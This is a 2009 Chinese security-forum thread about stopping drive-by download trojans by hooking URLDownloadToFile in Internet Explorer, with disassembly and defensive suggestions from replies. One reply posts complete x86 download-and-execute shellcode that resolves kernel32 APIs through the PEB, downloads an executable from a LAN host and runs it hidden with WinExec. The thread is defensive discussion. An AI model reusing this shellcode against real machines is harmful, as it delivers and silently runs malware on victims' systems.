首页
社区
课程
招聘
[原创]关于防网马(拦URLDownloadToFile)
发表于: 2009-12-10 23:39 9179

[原创]关于防网马(拦URLDownloadToFile)

2009-12-10 23:39
9179
关于拦截URLDownloadToFile,百度了下,API HOOK,可是用PEDIY查iexplore.exe导入表没有发现urlmon.dll。
自己的程序中如此调用时,#pragma comment(lib,"urlmon.lib"),导入表中是有信息的。
试探IE下载是如何调用的呢?

如果是DLL注入拦截URLDownloadToFile,如何得到URLDownloadToFile的函数地址?

大虾请给个拦截的思路吧。。。。

直接反汇编程   iexplore.exe
////////////////////////////////////////////////////////////////////////////////////
::004022BE::  68 3C154000              PUSH 40153C         ->: comctl32.DLL
::004022C3::  FFD6                     CALL ESI                                
::004022C5::  68 2C154000              PUSH 40152C        \->: browseui.DLL
::004022CA::  FFD6                     CALL ESI                                
::004022CC::  68 20154000              PUSH 401520        \->: shdocvw.DLL
::004022D1::  FFD6                     CALL ESI                                
::004022D3::  68 14154000              PUSH 401514       \->: wininet.dll
::004022D8::  FFD6                     CALL ESI                                
::004022DA::  68 08154000              PUSH 401508        \->: urlmon.dll
::004022DF::  FFD6                     CALL ESI                                
::004022E1::  68 FC144000              PUSH 4014FC        \->: mlang.dll
::004022E6::  FFD6                     CALL ESI                                
::004022E8::  68 F0144000              PUSH 4014F0         \->: mshtml.dll
::004022ED::  FFD6                     CALL ESI                              
::004022EF::  68 E4144000              PUSH 4014E4         \->: jscript.DLL

。。。。。。
/////////////////////////////////////////////////////////////////////

下面的图分别是我的程序扫导入表得到的DLL,找不到URLMON.DLL,无法拦URLDOWNLOAD,后面的冰刃显示的模块信息。
DLL的内容有些不太明白,哪位科普下吧,那些动态导入的DLL如何导入的?在内存中如何组织?如何调用?

[课程]FART 脱壳王!加量不加价!FART作者讲授!

上传的附件:
收藏
免费 7
支持
分享
最新回复 (11)
雪    币: 190
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
拦执行不是更好
2009-12-11 01:10
0
雪    币: 372
活跃值: (36)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
3
/*
在peb中找到kernel32的地址:
1、fs指向teb结构
2、在teb+0x30地方指向peb结构
3、在peb+0x0c地方指向PEB_LDR_DATA结构
4、在PEB_LDR_DATA+0x1c地方就是一些动态连接库的地址了,如第一个指向ntdll.dll 第二个就是我们需要的kernel32.dll的地址
*/
extra_data_start:
__asm
{
  push ebp;
  sub esp, 0x160;
  mov ebp,esp;
  
  push ebp;
  mov eax, fs:0x30 ;fs:0x30指向PEB
  mov eax, [eax + 0x0c] ;获取PEB_LDR_DATA结构的指针
  mov esi, [eax + 0x1c] ;获取LDR_MODULE链表表首结点的inInitializeOrderModuleList成员的指针

  lodsd
  mov edi, [eax + 0x08] ;inInitializeOrderModuleList偏移8h便得到Kernel32.dll的模块基址
   
  mov eax, [edi+3Ch] ;指向IMAGE_NT_HEADERS
  mov edx, [edi+eax+78h] ;指向导出表
  add edx,edi
  mov ecx, [edx+18h] ;取导出表中导出函数名字的数目
  mov ebx, [edx+20h] ;取导出表中名字表的地址
  add ebx,edi
search:
  dec ecx
  mov esi, [ebx+ecx*4]
  add esi,edi
  ;GetProcAddress
  mov eax,0x50746547
  cmp [esi], eax;比较"PteG"
  jne search
  mov eax,0x41636f72
  cmp [esi+4],eax; "Acor"
  jne search
      
  mov ebx,[edx+24h] ;取得导出表中序号表的地址
  add ebx,edi
  mov cx,[ebx+ecx*2] ;取得进入函数地址表的序号
  mov ebx,[edx+1Ch] ;取得函数地址表的地址
  add ebx,edi
  mov eax,[ebx+ecx*4] ;取得GetProcAddress函数的地址
  add eax,edi   
  mov [ebp+40h], eax ;把GetProcAddress函数的地址保存到[ebp+40h]

  ;开始查找 LoadLibrary的地址,先构造"LoadLibrary\0"
  push 0x0
  push dword ptr 0x41797261
  push dword ptr 0x7262694c
  push dword ptr 0x64616f4c
  push esp
  push edi
  call [ebp+40h] ;GetProcAddress(Kernel32基址, "LoadLibraryA")
  mov [ebp+44h], eax;把LoadLibraryA的地址存在ebp+0x44中
  
  push dword ptr 0x00636578 ;构造WinExec字符
  push dword ptr 0x456E6957
  push esp
  push edi
  call [ebp+40h] ;GetProcAddress(Kernel32基址,"WinExec")
  mov [ebp+4], eax ;[ebp+4]保存WinExec地址

  ;
  push dword ptr 0x00006e6f ;on
  push dword ptr 0x6d6c7275 ;urlm
  push esp
  call [ebp+44h] ;LoadLibrary(urlmon)
  mov edi, eax

  push dword ptr 0x00004165 ;eA
  push dword ptr 0x6c69466f ;oFil
  push dword ptr 0x5464616f ;oadT
  push dword ptr 0x6c6e776f ;ownl
  push dword ptr 0x444c5255 ;URLD
  push esp
  push edi
  call [ebp+40h] ;GetProcAddress(urlmon基址,"URLDownloadToFileA")
  mov [ebp+8], eax; URLDownloadToFileA
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  push 0
  push 0
  call Func1

  _emit 'c'
  _emit ':'
  _emit '\\'
  _emit '2'
  _emit '2'
  _emit '2'
  _emit '2'
  _emit '.'
  _emit 'e'
  _emit 'x'
  _emit 'e'
  _emit '\0'
Func1:
  pop edi;
  push edi;

  call Func2

  _emit 'h'
  _emit 't'
  _emit 't'
  _emit 'p'
  _emit ':'
  _emit '/'
  _emit '/'
  _emit '1'
  _emit '9'
  _emit '2'
  _emit '.'
  _emit '1'
  _emit '6'
  _emit '8'
  _emit '.'
  _emit '1'
  _emit '.'
  _emit '1'
  _emit '0'
  _emit '0'
  _emit '/'
  _emit '2'
  _emit '.'
  _emit 'e'
  _emit 'x'
  _emit 'e'
  _emit '\0';
Func2:
  pop edi;
  push edi;
  push 0
  call [ebp+8] ; 调用 URLDownloadToFileA(null,"http://192.168.1.100/2.exe","C:\2222.exe",null,null)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;  

  push 0
  call EXEC;
  _emit 'c';
  _emit ':';
  _emit '\\';
  _emit '2';
  _emit '2';
  _emit '2';
  _emit '2';
  _emit '.';
  _emit 'e';
  _emit 'x';
  _emit 'e';
  _emit '\0'; //运行程序的名字,
  
EXEC:
  pop edi;
  push edi;
  call [ebp+4] ; 调用 WinExec("c:\2222.exe",SW_HIDE)
  
  add esp, 0x160;
  pop ebp;
  
}
extra_data_end:
2009-12-11 01:51
0
雪    币: 7651
活跃值: (523)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
4
楼主随便找几个下载者研究一下就啥都清楚了,你就会发现你的想法有多幼稚~
2009-12-11 09:54
0
雪    币: 8865
活跃值: (2379)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
5
拦截写文件比较方便.发现没有下载的框的写文件,直接拒绝~
2009-12-11 10:46
0
雪    币: 7651
活跃值: (523)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
6


此框可隐藏否?
2009-12-11 13:57
0
雪    币: 7651
活跃值: (523)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
7


此框可隐藏否?
2009-12-11 14:07
0
雪    币: 622
活跃值: (65)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
8
shellcode也利用下载框
2009-12-11 14:18
0
雪    币: 242
活跃值: (418)
能力值: ( LV11,RANK:188 )
在线值:
发帖
回帖
粉丝
9
杀软拦截 API调用时 会不会判断 返回后的地址在哪个模块?
注入IE后再调用URLDownloadToFile是最常见的 下载者。
2009-12-11 18:08
0
雪    币: 254
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
10
PS:可能我表达有误。我是说防网马,SHELLCODE里都URLDOWNLOADTOFILE   然后WINEXEC,所以拦URLDOWNLOAD就OK了。。

至于下载者,有EXE或者DLL,下载的方法太多,拦也没什么意义。
2009-12-12 08:35
0
雪    币: 254
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
11
NETKNIGHT  贴的是个下载代码吧。汇编看不太懂。

哈哈
2009-12-13 11:49
0
雪    币: 8865
活跃值: (2379)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
12
能~
无所谓的,拒绝直接PE文件就行了~
2009-12-13 16:01
0
游客
登录 | 注册 方可回帖
返回
//